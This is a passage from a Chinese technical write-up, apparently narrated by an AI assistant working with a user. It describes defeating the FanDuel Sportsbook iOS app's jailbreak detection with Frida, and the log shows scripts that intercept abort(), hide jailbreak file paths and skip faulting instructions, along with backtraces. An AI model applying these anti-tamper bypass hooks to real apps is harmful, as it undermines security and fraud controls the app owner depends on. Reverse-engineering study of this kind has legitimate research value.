&#34;return 0&#34; 让执行 flow 穿透到了垃圾指令，下一步走</span><code><span leaf="">SIGILL</span></code><span leaf="">，看起来就像&#34;立刻死&#34;。</span></span></p><p><span mpa-font-style="moxxn7ct1dze" style="font-size: 15px;"><span leaf="">所以当时看到的现象是</span><strong><span leaf="">我们的 hook 自己把进程搞死的</span></strong><span leaf="">，跟 RASP 没关系。但我当时没反应过来。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">7. 用户关键提醒：&#34;frida 先执行&#34;</span></strong></p></div></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="moxxn7ct23" style="font-size: 15px;">用户贴了 terminal 给我：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1cf9"><span leaf="">frida</span><span leaf="">-H</span><span leaf=""><span class="code-snippet__number">127.0</span></span><span leaf="">.0</span><span leaf="">.1</span><span leaf="">-f</span><span leaf="">com</span><span leaf="">.fanduel</span><span leaf="">.sportsbook</span><span leaf="">-l</span><span leaf=""> .\</span><span leaf="">empty</span><span leaf="">.js</span><span leaf="">-o</span><span leaf="">log</span><span leaf="">.txt</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">Connected</span><span leaf="">to</span><span leaf=""><span class="code-snippet__number">127.0</span></span><span leaf="">.0</span><span leaf="">.1</span><span leaf=""> (id=socket<span class="code-snippet__variable">@127</span>.<span class="code-snippet__number">0.0</span>.<span class="code-snippet__number">1</span>)</span><span leaf=""><br/></span><span leaf="">Spawning</span><span leaf=""> `</span><span leaf="">com</span><span leaf="">.fanduel</span><span leaf="">.sportsbook</span><span leaf="">`...</span><span leaf=""><br/></span><span leaf="">[EMPTY]</span><span leaf="">no</span><span leaf="">hooks</span><span leaf="">installed</span><span leaf="">         ← 脚本在 </span><span leaf="">resume</span><span leaf=""> 之前就输出了</span><span leaf=""><br/></span><span leaf="">Spawned</span><span leaf=""> `</span><span leaf="">com</span><span leaf="">.fanduel</span><span leaf="">.sportsbook</span><span leaf="">`. </span><span leaf="">Resuming</span><span leaf="">main</span><span leaf="">thread</span><span leaf="">!</span><span leaf=""><br/></span><span leaf="">[Remote::com.fanduel.sportsbook ]</span><span leaf="">-</span><span leaf="">&gt; </span><span leaf="">Process</span><span leaf="">terminated</span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ct23xv" style="font-size: 15px;">并断言&#34;这里 frida 先执行，是可以绕过检测的&#34;。</span></p><p><span leaf="" mpa-font-style="moxxn7ct1is6" style="font-size: 15px;">这句提醒是整个会话的转折点。它意味着：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="moxxn7ct29y" style="font-size: 15px;"><span leaf="">脚本</span><strong><span leaf="">在</span><code><span leaf="">Spawned ... Resuming main thread!</span></code><span leaf="">之前就 print 出来</span></strong><span leaf="">了 —— 说明 spawn-gated 时机 OK，hook 确实能在 app 任何指令之前装好；</span></span></p></li><li><p><span mpa-font-style="moxxn7ct7qk" style="font-size: 15px;"><span leaf="">之前的</span><code><span leaf="">noexit.js</span></code><span leaf="">之所以失败不是因为&#34;外部 SIGKILL&#34;，而是</span><strong><span leaf="">我用错了</span><code><span leaf="">Interceptor.replace</span></code><span leaf="">处理 noreturn 函数</span></strong><span leaf="">。</span></span></p></li></ul><p><span leaf="" mpa-font-style="moxxn7ctyd8" style="font-size: 15px;">于是回到 Frida 正途。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">8. 再次对照：发现真正的 kill 通道是 libc abort()</span></strong></p></div></div></div></div></div></div></div></div></div><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct6mo" style="font-size: 15px;"><span leaf="">8.1 重写为最小异常处理器</span><code><span leaf="">exception_only.js</span></code></span></h3><p><span mpa-font-style="moxxn7ct1sww" style="font-size: 15px;"><span leaf="">纯粹只装</span><code><span leaf="">Process.setExceptionHandler</span></code><span leaf="">，不装任何 hook。看看纯净状态下啥异常会触发。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1lzr"><span leaf=""><span class="code-snippet__title">Process</span>.<span class="code-snippet__title">setExceptionHandler</span>(<span class="code-snippet__keyword">function</span> (<span class="code-snippet__params">d</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__variable">console</span>.<span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#39;[EXC] &#39;</span> + d.</span><span leaf="">type</span><span leaf=""> + <span class="code-snippet__string">&#39; at &#39;</span> + d.</span><span leaf="">address</span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    d.</span><span leaf="">context</span><span leaf="">.</span><span leaf="">pc</span><span leaf=""> = d.</span><span leaf="">context</span><span leaf="">.</span><span leaf="">pc</span><span leaf="">.<span class="code-snippet__title">add</span>(<span class="code-snippet__number">4</span>);   <span class="code-snippet__comment">// 跳过当前指令继续跑</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span><span leaf=""><br/></span><span leaf="">});</span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ctywf" style="font-size: 15px;">结果：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct1r4z"><span leaf="">[*]</span><span leaf=""> resumed</span><span leaf=""><br/></span><span leaf="">[EXC#1]</span><span leaf=""> abort at <span class="code-snippet__number">0</span>x1f98c7198</span><span leaf=""><br/></span><span leaf="">[EXC#2]</span><span leaf=""> abort at <span class="code-snippet__number">0</span>x1f98c7198</span><span leaf=""><br/></span><span leaf="">[=]</span><span leaf=""> DIED at <span class="code-snippet__number">0.58s</span></span></code></pre></p><p><span mpa-font-style="moxxn7ct1w7i" style="font-size: 15px;"><strong><span leaf="">只有 2 次 abort</span></strong><span leaf="">，地址</span><code><span leaf="">0x1f98c7198</span></code><span leaf="">是 libc 的</span><code><span leaf="">abort</span></code><span leaf="">函数入口。之前 noexit 实验里看到的</span><code><span leaf="">0x2a0184080</span></code><span leaf="">这种 &#34;illegal-instruction&#34; 都</span><strong><span leaf="">不存在</span></strong><span leaf="">于 baseline —— 全部是我们自己</span><code><span leaf="">Interceptor.replace</span></code><span leaf="">引起的副作用（Frida Gum 的半成品 trampoline）。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ctk2n" style="font-size: 15px;"><span leaf="">8.2 修复 abort 拦截（正确版）</span></span></h3><p><span mpa-font-style="moxxn7ctfss" style="font-size: 15px;"><span leaf="">不用</span><code><span leaf="">Interceptor.replace</span></code><span leaf="">改写 abort 代码页，而是</span><code><span leaf="">Interceptor.attach</span></code><span leaf="">+</span><code><span leaf="">onEnter</span></code><span leaf="">里</span><code><span leaf="">Thread.sleep(永远)</span></code><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctbzu"><span leaf=""><span class="code-snippet__title">Interceptor</span>.<span class="code-snippet__title">attach</span>(abort_addr, {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">onEnter</span>(<span class="code-snippet__params">args</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">log</span>(<span class="code-snippet__string">&#39;BLOCKED abort; bt: ...&#39;</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> (<span class="code-snippet__literal">true</span>) <span class="code-snippet__title">Thread</span>.<span class="code-snippet__title">sleep</span>(<span class="code-snippet__number">3600</span>);   <span class="code-snippet__comment">// 调用线程永久 park</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">});</span></code></pre></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="moxxn7ct1lbd" style="font-size: 15px;"><span leaf="">不改写原函数头部</span></strong><p><span leaf="" mpa-font-style="moxxn7ct89w" style="font-size: 15px;">不会污染 Apple 任何通过函数指针调 abort 的路径；</span></p></li><li><strong mpa-font-style="moxxn7ct1246" style="font-size: 15px;"><span leaf="">onEnter 永不返回</span></strong><p><span leaf="" mpa-font-style="moxxn7ctlh3" style="font-size: 15px;">等同于 abort 从未被调用；</span></p></li><li><p><span leaf="" mpa-font-style="moxxn7ct1r0h" style="font-size: 15px;">原函数体根本进不去，抽象效果同&#34;彻底 no-op&#34;。</span></p></li></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1gtl" style="font-size: 15px;"><span leaf="">8.3 立刻看到 RASP 探测</span></span></h3><p><span leaf="" mpa-font-style="moxxn7ctdqr" style="font-size: 15px;">重跑：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctwn4"><span leaf="">[JB]</span><span leaf="">block</span><span leaf="">access</span><span leaf=""> /</span><span leaf="">cores</span><span leaf="">/</span><span leaf="">.safe_mode</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">block</span><span leaf="">access</span><span leaf=""> /</span><span leaf="">var</span><span leaf="">/</span><span leaf="">jb</span><span leaf="">/</span><span leaf="">usr</span><span leaf="">/</span><span leaf="">lib</span><span leaf="">/</span><span leaf="">TweakLoader</span><span leaf="">.dylib</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">block</span><span leaf="">access</span><span leaf=""> /</span><span leaf="">var</span><span leaf="">/</span><span leaf="">jb</span><span leaf="">/</span><span leaf="">usr</span><span leaf="">/</span><span leaf="">lib</span><span leaf="">/</span><span leaf="">TweakInject</span><span leaf="">.dylib</span><span leaf=""><br/></span><span leaf="">[JB]</span><span leaf="">BLOCKED</span><span leaf="">abort</span><span leaf="">from</span><span leaf="">: +</span><span leaf="">[_NSPredicateUtilities _predicateSecurityAction]</span><span leaf=""> ...</span><span leaf=""><br/></span><span leaf="">[=]</span><span leaf="">DIED</span><span leaf="">at</span><span leaf=""><span class="code-snippet__number">21.43s</span></span></code></pre></p><p><span leaf="" mpa-font-style="moxxn7ct1vqp" style="font-size: 15px;">解读：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span mpa-font-style="moxxn7cthuv" style="font-size: 15px;"><span leaf="">FanDuel 早期用</span><code><span leaf="">access(path, W_OK)</span></code><span leaf="">探测 3 条路径。前两条（</span><code><span leaf="">/var/jb/usr/lib/Tweak*.dylib</span></code><span leaf="">）是</span><strong><span leaf="">palera1n rootless 的 tweak 注入器</span></strong><span leaf="">，存在 = 越狱；</span></span></p></li><li><p><span mpa-font-style="moxxn7ctrba" style="font-size: 15px;"><span leaf="">我们的</span><code><span leaf="">access</span></code><span leaf="">hook 把它们 block 成 -1 / ENOENT，</span><strong><span leaf="">RASP 看起来没检测到越狱</span></strong><span leaf="">；</span></span></p></li><li><p><span mpa-font-style="moxxn7ctemm" style="font-size: 15px;"><span leaf="">但进程</span><strong><span leaf="">仍然走到了</span><code><span leaf="">abort</span></code></strong><span leaf="">，调用点在 Apple</span><code><span leaf="">Foundation!+[_NSPredicateUtilities _predicateSecurityAction]</span></code><span leaf="">；</span></span></p></li><li><p><span mpa-font-style="moxxn7ct1yuh" style="font-size: 15px;"><span leaf="">abort 被我们的</span><code><span leaf="">trapAndPark</span></code><span leaf="">接住 → 线程 park → dyld 初始化永远完不成 → 20s 后 launchd watchdog 杀进程（&#34;DIED at 21.43s&#34;）。</span></span></p></li></ul><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">9. 抓栈：看见_predicateSecurityAction的真面目</span></strong></p></div></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="moxxn7ct1ndl" style="font-size: 15px;">backtrace 指向非常明确的调用链：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ct129u"><span leaf=""><span class="code-snippet__number">0</span>x1b891190c  Foundation!+</span><span leaf="">[_NSPredicateUtilities _predicateSecurityAction]</span><span leaf="">     ← <span class="code-snippet__built_in">abort</span>()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x1b8429fe4  Foundation!-</span><span leaf="">[NSFunctionExpression  expressionValueWithObject:context:]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x1b889fbac  Foundation!-</span><span leaf="">[NSKeyPathExpression   expressionValueWithObject:context:]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x1b8429d90  Foundation!-</span><span leaf="">[NSComparisonPredicate evaluateWithObject:substitutionVariables:]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x1b84299c0  Foundation!_filterObjectsUsingPredicate</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x1b84c4a84  Foundation!-</span><span leaf="">[NSArray(NSPredicateSupport) filteredArrayUsingPredicate:]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x1082c6bec  ServiceCore!initialize_framework_bundles</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x10373c42c  dyld!dyld4::Loader::findAndRunAllInitializers</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>x105a50444  dyld!dyld4::Loader::runInitializersBottomUp</span></code></pre></p><p><span mpa-font-style="moxxn7ct1omp" style="font-size: 15px;"><strong><span leaf="">重点</span></strong><span leaf="">：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ct1mje" style="font-size: 15px;"><span leaf="">_NSPredicateUtilities _predicateSecurityAction</span></code><p><span mpa-font-style="moxxn7ct1eq8" style="font-size: 15px;"><span leaf="">是</span><strong><span leaf="">Apple 在 iOS 16 引入的 NSPredicate 安全动作</span></strong><span leaf="">。当</span><code><span leaf="">NSFunctionExpression</span></code><span leaf="">或</span><code><span leaf="">NSKeyPathExpression</span></code><span leaf="">被要求 evaluate 一个它认为 &#34;可能用 KVC 调危险方法&#34; 的表达式时，它调这个方法</span><code><span leaf="">abort()</span></code><span leaf="">整个进程（CVE 防护机制）。</span></span></p></li><li><p><span mpa-font-style="moxxn7ct1tes" style="font-size: 15px;"><span leaf="">调用上下文是</span><code><span leaf="">ServiceCore!initialize_framework_bundles</span></code><span leaf="">，它在 dyld 初始化阶段用</span><code><span leaf="">NSArray filteredArrayUsingPredicate:</span></code><span leaf="">过滤所有已加载 framework 的 bundle 元数据。</span></span></p></li><li><strong mpa-font-style="moxxn7ct1n5o" style="font-size: 15px;"><span leaf="">这条 abort 不是 FanDuel 自己发起的</span></strong><p><span mpa-font-style="moxxn7cteh0" style="font-size: 15px;"><span leaf="">是 FanDuel 的 RASP 发现越狱后，把&#34;看起来越狱&#34;的信号塞到某个 framework bundle 的元数据里，让 Apple 自家的 predicate evaluation 命中 security-action 分支 ——</span><strong><span leaf="">&#34;借刀杀人&#34;式越狱检测</span></strong><span leaf="">，从调用栈看像 Apple 原生行为，非常隐蔽。</span></span></p></li></ul><p><span leaf="" mpa-font-style="moxxn7ctz7j" style="font-size: 15px;">这一步彻底改写了&#34;这是什么检测&#34;的理解：之前以为是第三方 RASP 直接 exit，实际是通过 Apple 内部机制间接 abort。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">10. 又踩一个坑：Interceptor.replace半改写 Apple 代码</span></strong></p></div></div></div></div></div></div></div></div></div><p><span mpa-font-style="moxxn7ct1jfr" style="font-size: 15px;"><span leaf="">在第 8 步做 noexit 和前期迭代时还看到过</span><code><span leaf="">illegal-instruction at 0x2a01...XXXX</span></code><span leaf="">，总以为是 RASP 埋的 BRK trap。</span></span></p><p><span mpa-font-style="moxxn7ct1jfr" style="font-size: 15px;"><span leaf="">其实：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ct1uhf" style="font-size: 15px;"><span leaf="">Interceptor.replace</span></code><p><span mpa-font-style="moxxn7ct23ho" style="font-size: 15px;"><span leaf="">会在目标函数</span><strong><span leaf="">首几条指令</span></strong><span leaf="">写一个</span><code><span leaf="">B</span></code><span leaf="">跳到 Gum 生成的 trampoline；</span></span></p></li><li><p><span mpa-font-style="moxxn7ct1s9b" style="font-size: 15px;"><span leaf="">trampoline 里为了&#34;调用原函数再 hook&#34;，会复制原函数的头部 + 修正 PC 相对引用（比如</span><code><span leaf="">ADR</span></code><span leaf="">）；</span></span></p></li><li><p><span mpa-font-style="moxxn7ct1kpt" style="font-size: 15px;"><span leaf="">对 arm64 PAC / 共享库里经过代码签名校验 / 其他 app 缓存了函数指针这种 corner case，这个复制</span><strong><span leaf="">可能半成品化</span></strong><span leaf="">，表现为运行到 trampoline 时撞上非法编码；</span></span></p></li><li><p><span mpa-font-style="moxxn7ct16oy" style="font-size: 15px;"><span leaf="">用户态</span><code><span leaf="">Process.setExceptionHandler</span></code><span leaf="">把 PC+4 跳过以后确实能继续走几条，但之后很快又撞另一个异常，循环几十秒直到 launchd watchdog 把进程杀了。</span></span></p></li></ul><p><span mpa-font-style="moxxn7ct1xex" style="font-size: 15px;"><strong><span leaf="">规律总结</span></strong><span leaf="">：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ctixq" style="font-size: 15px;"><span leaf="">Interceptor.attach</span></code><p><span mpa-font-style="moxxn7ctke1" style="font-size: 15px;"><span leaf="">= 软 hook，</span><strong><span leaf="">不改写目标指令</span></strong><span leaf="">，只在 prologue 插入桥跳到我们 cb，cb 返回后原函数正常执行。安全。</span></span></p></li><li><code mpa-font-style="moxxn7ctukg" style="font-size: 15px;"><span leaf="">Interceptor.replace</span></code><p><span mpa-font-style="moxxn7ctg1v" style="font-size: 15px;"><span leaf="">= 硬替换，</span><strong><span leaf="">重写目标</span></strong><span leaf="">。对于 exit / abort / __cxa_throw / __stack_chk_fail 这类</span><strong><span leaf="">编译器假设不会 return 的 noreturn 函数</span></strong><span leaf="">，用起来会让 caller 跑到不保留合法指令的 &#34;dead code&#34;；对于 Apple 缓存了函数指针的 libc / CoreFoundation 路径，也可能落到半成品 trampoline。</span><strong><span leaf="">能</span><code><span leaf="">attach</span></code><span leaf="">就不要</span><code><span leaf="">replace</span></code></strong><span leaf="">。</span></span></p></li></ul><p><span mpa-font-style="moxxn7ctz8s" style="font-size: 15px;"><span leaf="">对 exit 家族全换用 attach +</span><code><span leaf="">Thread.sleep(∞)</span></code><span leaf="">后，</span><code><span leaf="">illegal-instruction</span></code><span leaf="">再没出现过。</span></span></p><p><span mpa-font-style="moxxn7ct11wf" style="font-size: 15px;"><span leaf="">另一个踩坑：我用</span><code><span leaf="">isRaspProbe()</span></code><span leaf="">路径前缀过滤时把：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><code mpa-font-style="moxxn7ct13if" style="font-size: 15px;"><span leaf="">/private/preboot/</span></code><p><span leaf="" mpa-font-style="moxxn7ct1f60" style="font-size: 15px;">当成 JB 路径（实际是 iOS 16 的 Cryptex 系统库路径，里面有 Safari / WebKit / AuthenticationServices 等）</span></p></li><li><code mpa-font-style="moxxn7ct1agj" style="font-size: 15px;"><span leaf="">/cores/</span></code><p><span mpa-font-style="moxxn7ct1ir2" style="font-size: 15px;"><span leaf="">前缀（实际里面有</span><code><span leaf="">.dSYM/Contents/Resources/DWARF/dyld</span></code><span leaf="">让 CFBundle 找 debug symbol）</span></span></p></li></ul><p><span mpa-font-style="moxxn7ct1cxw" style="font-size: 15px;"><span leaf="">拦了以后 NSBundle 一走到这两类路径就 bug，</span><strong><span leaf="">又触发</span><code><span leaf="">_predicateSecurityAction</span></code><span leaf="">abort</span></strong><span leaf="">（更隐晦的版本）。修复：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="moxxn7ct24yx" style="font-size: 15px;"><span leaf="">删掉</span><code><span leaf="">/private/preboot/</span></code><span leaf="">前缀；</span></span></p></li><li><p><span mpa-font-style="moxxn7ctd2b" style="font-size: 15px;"><span leaf="">精确 match</span><code><span leaf="">/cores/.safe_mode</span></code><span leaf="">这一条，不整块拦</span><code><span leaf="">/cores/</span></code><span leaf="">。</span></span></p></li></ul><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="margin: 10px 0%;text-align: center;justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;padding: 0px 5px;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;width: 100%;background-color: rgba(149, 114, 239, 0.12);align-self: flex-start;box-sizing: border-box;"><div style="margin: 5px 0% 8px;width: 100%;box-sizing: border-box;"><div style="color: rgb(115, 66, 215);padding: 0px 6px;line-height: 1;width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">11. ObjC 私有类的定位手艺</span></strong></p></div></div></div></div></div></div></div></div></div><p><span mpa-font-style="moxxn7ct1yog" style="font-size: 15px;"><span leaf="">定位到 kill 在</span><code><span leaf="">+[_NSPredicateUtilities _predicateSecurityAction]</span></code><span leaf="">。要 hook 它，踩了 4 种方法的坑才找到对路的：</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct1q1t" style="font-size: 15px;"><span leaf="">11.1</span><del><code><span leaf="">ObjC.classes._NSPredicateUtilities</span></code></del></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moxxn7ctmm5"><span leaf=""><span class="code-snippet__title">ObjC</span>.</span><span leaf="">classes</span><span leaf="">.</span><span leaf="">_NSPredicateUtilities</span><span leaf=""><span class="code-snippet__comment">// 报错或 undefined</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Object</span>.<span class="code-snippet__title">keys</span>(<span class="code-snippet__title">ObjC</span>.</span><span leaf="">classes</span><span leaf="">).<span class="code-snippet__title">includes</span>(<span class="code-snippet__string">&#39;_NSPredicateUtilities&#39;</span>)   <span class="code-snippet__comment">// false</span></span></code></pre></p><p><span mpa-font-style="moxxn7ct236x" style="font-size: 15px;"><span leaf="">Frida 的</span><code><span leaf="">ObjC.classes</span></code><span leaf="">是 Proxy，下划线前缀的私有类</span><strong><span leaf="">不被枚举</span></strong><span leaf="">。直接 get 也容易拿到 undefined（对 JS Proxy 来说，</span><code><span leaf="">cls === undefined</span></code><span leaf="">时继续访问</span><code><span leaf="">.$ownMethods</span></code><span leaf="">直接 TypeError）。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moxxn7ct4qz" style="font-size: 15px;"><span leaf="">11.2</span><del><code><span leaf="">Module.findModuleByName(&#39;Foundation&#39;).enumerateSymbols()</span></code></del></span></h3><p><span mpa-font-style="moxxn7ct1fmt" style="font-size: 